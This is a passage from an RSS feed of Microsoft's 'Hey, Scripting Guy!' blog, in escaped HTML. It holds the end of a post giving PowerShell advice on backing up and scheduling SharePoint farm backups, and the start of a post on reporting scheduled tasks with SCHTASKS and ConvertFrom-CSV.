&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Back up the entire farm.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt; This is one of those &amp;ldquo;at a minimum&amp;rdquo; kind of things. &lt;br /&gt;&lt;br /&gt;Note: If you have high-priority site collections in your farm, you may want to also include logic in the script to individually target them. (You can do this with STSADM&amp;rsquo;s &lt;b style="mso-bidi-font-weight:normal;"&gt;Backup&lt;/b&gt; operation and its &lt;b style="mso-bidi-font-weight:normal;"&gt;Site Collection&lt;/b&gt; backup option or with the &lt;b style="mso-bidi-font-weight:normal;"&gt;Backup-SPSite &lt;/b&gt;cmdlet).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;If you&amp;rsquo;re running SharePoint 2010, back up the farm&amp;rsquo;s Configuration Database individually.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="font-size:10pt;"&gt;&lt;span style="line-height:12pt;"&gt; All of a farm&amp;rsquo;s settings and setup information is stored in its Configuration database, and the new &lt;strong&gt;Backup-SPConfigurationDatabase&lt;/strong&gt; cmdlet in SharePoint 2010 provides you with a nice tool to individually back up this critical resource as an additional layer of coverage for your farm. It&amp;rsquo;s not a complete capture of your farm&amp;rsquo;s configuration data, but it&amp;rsquo;s a start. See &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10pt;"&gt;&lt;a href="http://sharepointinterface.com/2010/09/10/configuration-only-backup-and-restore-in-sharepoint-2010/" target="_blank"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;Configuration-Only Backup and Restore in SharePoint 2010&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;color:#000000;font-size:10pt;"&gt; for a great explanation of its limitations.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;If you have SharePoint 2010, merge the SharePoint usage log files.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt; Microsoft recommends doing this, so it is at least worth considering for your script. &lt;br /&gt;&lt;br /&gt;Note: This can have some performance implications if you decide to merge all log files, so keep an eye on it. If it takes a long time to run, try limiting this to specific usage types.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;Handle and report errors.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt; This may seem like a tiny detail, but trust me, when a backup fails you want to know about it. Write your scripts to handle errors, and write them to your server event log for monitoring and alerting.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l2 level1 lfo2;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpLast"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;b style="mso-bidi-font-weight:normal;"&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;Rotate backup files. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-size:10pt;"&gt;Over time, regularly generated backup files can take up a lot of space. Disk space is cheap these days, but you don&amp;rsquo;t want a backup to fail because there&amp;rsquo;s not enough storage to hold it, do you? Your script should retain backups for a defined number of days and either archive or delete older files to reduce your storage footprint.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Now, that is a lot to consider, and it may seem a little daunting, but I have good news for you: I have written a script that does everything previously listed and that is compatible with SharePoint 2007 and SharePoint 2010. I have posted it to the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10pt;"&gt;&lt;a href="http://gallery.technet.microsoft.com/scriptcenter/9b99c435-8831-4c9e-a70b-1f13158ef22a" target="_blank"&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;TechNet Script Repository&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&amp;nbsp;for your downloading pleasure, so feel free to have at it&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;A couple of notes about the script:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpFirst"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Be sure to review its required input parameters and settings, and select the options and items that make the most sense for your environment. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Carefully consider how frequently you want to back up your environment. Understand the Recovery Point Object (RPO) of your users (how current your restored content must be) to better gauge the right setting for this.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;I wrote the script to be run once a day, with Full backups of the farm on a weekly basis and Differential backups the other six days of the week. This is a good general setting, but your approach will depend on your users&amp;rsquo; Recovery Time Objectives (RTO). If you need to perform a restore quickly, you need to remember that Differential backups can take a long time to restore if you have a lot of them.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Think about what else is going on in your SharePoint environment when you are planning to run this script, in addition to other systems that your SharePoint farm depends on, such as SQL Server. Backups are resource intensive, and you want to avoid any competition for resources that can cause delays or errors. I try to schedule my backups about an hour after my search crawls normally finish to ensure that there are not any conflicts, and then I run the backups between midnight and 5:00 A.M. (based on the local time for my largest group of users).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;Document the configuration of your Scheduled Task, and store it somewhere that it can be accessed centrally.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:11pt;list-style-type:disc;text-indent:-0.25in;margin:0in 0in 10pt;text-autospace:ideograph-numeric;mso-layout-grid-align:auto;mso-add-space:auto;mso-list:l1 level1 lfo3;mso-vertical-align-alt:auto;" class="MsoListParagraphCxSpLast"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="line-height:12pt;mso-fareast-font-family:symbol;mso-bidi-font-family:symbol;"&gt;&lt;span style="mso-list:ignore;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style="font-size:10pt;"&gt;&amp;middot;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:normal;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-size:7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height:12pt;"&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="font-size:10pt;"&gt;You must have already completed a Full backup in your environment or set the initial run of this Scheduled Task to be on the day that you selected to perform a Full backup. You cannot create a Differential backup until there is first a Full backup in the farm.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/2100.HSG_2D00_6_2D00_22_2D00_11_2D00_2.png"&gt;&lt;img style="border:0px;" title="Image of backing up the SharePoint farm" alt="Image of backing up the SharePoint farm" src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/2100.HSG_2D00_6_2D00_22_2D00_11_2D00_2.png" /&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Thanks John, for sharing this great script and this excellent information about backing up a SharePoint farm. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;FJ, that is all there is to using Windows PowerShell to back up your SharePoint farm. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Segoe;font-size:10pt;"&gt;I invite you to follow me on &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10pt;"&gt;&lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;Twitter&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;"&gt; and &lt;/span&gt;&lt;/span&gt;&lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;Facebook&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;"&gt;. If you have any questions, send email to me at &lt;/span&gt;&lt;/span&gt;&lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;scripter@microsoft.com&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;"&gt;, or post your questions on the &lt;/span&gt;&lt;/span&gt;&lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;&lt;span style="font-family:Segoe;color:#0000ff;"&gt;Official Scripting Guys Forum&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-family:Segoe;color:#000000;font-size:10pt;"&gt;. See you tomorrow. Until then, peace.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;b&gt;&lt;span&gt;&lt;span style="font-family:Segoe UI;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;Ed Wilson, Microsoft Scripting Guy&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;" class="MsoNormal"&gt;&lt;span&gt;&lt;span style="font-family:Segoe;"&gt;&lt;span style="color:#000000;font-size:10pt;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3436436" width="1" height="1" alt="" /&gt;</description></item><item><title>Use PowerShell to Manage Scheduled Tasks in SharePoint</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/06/21/use-powershell-to-manage-scheduled-tasks-in-sharepoint.aspx</link><pubDate>Tue, 21 Jun 2011 05:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:10924</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Learn how to use Windows PowerShell to manage scheduled tasks for your SharePoint Server.&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. One of the really cool things about being the Microsoft Scripting Guy is getting to meet lots of smart people who love Windows PowerShell as much as I do. I feel as if Jonathan Tyler is one of my oldest friends; but as of now, I have not met him in real life. After months of hard work, we finally got the details worked out, and I am going to speak at his company in a few months when the Scripting Wife and I head to Raleigh, North Carolina for the SQL Solstice conference. I am looking forward to meeting Jonathan&amp;mdash;it promises to be one of the highlights of a very memorable trip.&lt;/p&gt;
&lt;p&gt;Anyway&amp;hellip;I digress a bit. &lt;/p&gt;
&lt;p&gt;I have been talking to Jonathan for several years as I have answered various questions from him via the &lt;a href="mailto:scripter@microsoft.com"&gt;scripter@microsoft.com&lt;/a&gt; email alias. After a while, I actually gave him my &amp;ldquo;real&amp;rdquo; email address. I noticed that he also lives in North Carolina, we chatted, and the rest is Scripting Guy history. And today, we have our first of what I imagine will be many blogs written by Jonathan. WOO HOO!!!&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/5621.Jon_5F00_Online_5F00_Photo_5F00_edit_5F00_2B0060C4.jpg"&gt;&lt;img height="187" width="154" src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/8875.Jon_5F00_Online_5F00_Photo_5F00_edit_5F00_thumb_5F00_5162440F.jpg" alt="Photo of Jonathan Tyler" border="0" title="Photo of Jonathan Tyler" style="background-image:none;padding-left:0px;padding-right:0px;display:inline;padding-top:0px;border:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jonathan Tyler is a senior software engineer employed by one of the world&amp;rsquo;s leading providers of commercial transport solutions. Jonathan has been in the IT industry since 1997. He currently supports the global SharePoint farm for the company&amp;rsquo;s Internet, extranet, and intranet solutions. Since working as a consultant, Jonathan started working with VBScript to automate tasks. He has done work in Visual Basic, C#, and Windows PowerShell. Check out his blog, &lt;a target="_blank" href="http://powershellreflections.wordpress.com/"&gt;PowerShell Reflections&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Scheduled Task Reporting with Windows PowerShell&lt;/h3&gt;
&lt;p&gt;As a SharePoint administrator, there are many times that we have scheduled tasks that run on the system for various reasons. Perhaps I need a security report, or a list of newly added items, or maybe I need to get a list of items that are no longer used on any of the pages. With approximately 25 web applications in one farm, it is important to keep track of these tasks to make sure they stay running.&lt;/p&gt;
&lt;p&gt;I had not played around with it before, but I ran across the Schtasks.exe command, which will enumerate all of the scheduled tasks on a system. You can even specify a remote system to query. After messing around a bit, I found the formatting switch and saw that I could export all the information about a task as CSV-formatted data. Anyone who works with Windows PowerShell for any length of time knows that PowerShell eats CSV files for breakfast. Let&amp;rsquo;s see how to make this work!&lt;/p&gt;
&lt;p&gt;My first thought would be that I could simply export this CSV information to a text file and then have PowerShell import the text file (&lt;b&gt;Import-CSV&lt;/b&gt;) to begin my work. That seemed a little messy to me. A quick look with the &lt;b&gt;Get-Command&lt;/b&gt; cmdlet showed what I need:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/8666.hsg_2D00_6_2D00_21_2D00_11_2D00_1_5F00_4A430797.png"&gt;&lt;img height="432" width="604" src="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18-metablogapi/5545.hsg_2D00_6_2D00_21_2D00_11_2D00_1_5F00_thumb_5F00_71111DD7.png" alt="Image of command output" border="0" title="Image of command output" style="background-image:none;padding-left:0px;padding-right:0px;display:inline;padding-top:0px;border:0px;" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;b&gt;ConvertFrom-CSV&lt;/b&gt; cmdlet seems to fit the bill. After looking at some of the options for the &lt;b&gt;Schtasks&lt;/b&gt; command, I settled on the following command line to get my information.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;SCHTASKS /QUERY /s Server01 /FO csv /V&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This command will query Server01 for all (Verbose: &lt;b&gt;/v&lt;/b&gt;) scheduled tasks and format &lt;b&gt;(/FO csv&lt;/b&gt;) the data as a CSV. So that I can manipulate the information a bit more, I need to capture this into a variable.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span style="line-height:normal;list-style-type:disc;mso-fareast-font-family:&amp;#39;Times New Roman&amp;#39;;mso-bidi-font-family:segoe;mso-ansi-language:en-us;mso-fareast-language:en-us;mso-bidi-language:ar-sa;"&gt;&lt;span style="font-family:Lucida Sans Typewriter;"&gt;&lt;span style="color:#000000;"&gt;$tasks = &amp;amp; SCHTASKS /QUERY /s Server01 /FO csv /v | ConvertFrom-CSV&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
